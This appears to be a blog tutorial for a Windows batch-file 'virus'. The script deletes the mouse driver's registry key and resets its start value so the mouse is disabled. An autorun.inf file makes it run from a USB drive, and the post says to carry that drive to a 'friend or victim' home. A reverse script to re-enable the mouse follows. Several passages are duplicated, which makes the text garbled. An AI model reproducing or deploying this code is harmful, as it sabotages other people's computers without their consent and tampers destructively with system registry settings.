We are going to create this virus using our usual Batch programming. In this post i am not only giving you simply the code but also explanation for the Batch program. So I hope that this post will make you happy.
Batch Programming Code:
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Explanation about this code
"@echo off" This command will either turn ON, or OFF the command you put in a batch file from showing itself. (don't confuse now,batch programming intro will make you clear).
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass" will access the registry stored in this location"HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
"@echo off" This command will either turn ON, or OFF the command you put in a batch file from showing itself. (don't confuse now,batch programming intro will make you clear).
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass" will access the registry stored in this location"HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
The Procedure to create this virus:
Okay now we will see the what are the procedure to follow in order to make this virus perfectly work in victim pc.
Step 1:
- Copy the Batch code into notepad.
- Save it as .bat extension (for eg: clickme.bat)
Now open the notepad and copy this code:-
[autorun]
Open=filename.bat
Action=Mouse Disable
Open=filename.bat
Action=Mouse Disable
Save it as "autorun.inf"
//don't forget to change the "filname.bat" with your filname.bat.
Step 3:
Then copy the two files in your pen drive or victim's pen drive.
That's all we have finished. Now bring your pen drive to your friend or victim home. Now whenever the mouse is inserted ,the mouse will be disabled.
How to recover from this attack?
Sorry for mentioning this fun as attack. To recover from this attack ,you can follow these steps:-
Copy this code into the notepad:-
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1
and save it with .bat extension(for eg: release.bat).
now open this batch will re-enable the mouse actions.
0 comments:
Post a Comment